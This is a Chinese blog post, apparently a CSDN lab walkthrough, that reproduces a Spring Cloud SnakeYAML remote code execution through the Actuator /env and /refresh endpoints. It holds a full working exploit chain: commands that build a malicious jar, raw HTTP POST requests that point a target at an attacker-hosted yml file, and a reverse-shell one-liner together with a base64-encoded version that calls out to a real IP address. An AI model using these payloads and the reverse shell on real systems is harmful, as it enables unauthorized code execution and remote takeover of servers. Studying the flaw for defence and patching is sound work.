Springboot远程代码执行(spring cloud SnakeYAML RCE)

0x01 漏洞原理

  1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
  2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
  3. SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
  4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
  5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
  6. 实例化类时执行恶意代码,造成 RCE 漏洞

0x02 利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

0x03 漏洞复现

1、拉取漏洞环境(repository/springcloud-snakeyaml-rce),运行环境,推荐在docker下运行。

//拉取
git clone https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce
//运行
mvn install
mvn spring-boot:run

在这里插入图片描述
2、访问目标url。搭建成功。
在这里插入图片描述
3、自定义命令,编译java文件,生成jar文件。(详细:https://github.com/artsploit/yaml-payload)

git clone https://github.com/artsploit/yaml-payload.git
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

在这里插入图片描述在这里插入图片描述
4、新建example.yml文件,编辑图中内容。将yaml-payload.jar文件和example.yml文件拷贝到相同目录下。并使用python开启80端口的web服务。
在这里插入图片描述
在这里插入图片描述5、设置 spring.cloud.bootstrap.location 属性
spring 1.x

POST /env HTTP/1.1
Host: 140.143.30.49:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

spring.cloud.bootstrap.location=http://you-vps-ip/example.yml

在这里插入图片描述
刷新配置。

POST /refresh HTTP/1.1
Host: 140.143.30.49:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述

5、命令成功执行。
在这里插入图片描述
6、反弹shell

bash -i >& /dev/tcp/ip/53 0>&1
命令转换网站(https://x.hacking8.com/?post=293)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzUuMjEyLjExOC81MyAwPiYx}|{base64,-d}|{bash,-i}

在这里插入图片描述

0x04 参考

https://github.com/LandGrey/SpringBootVulExploit

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值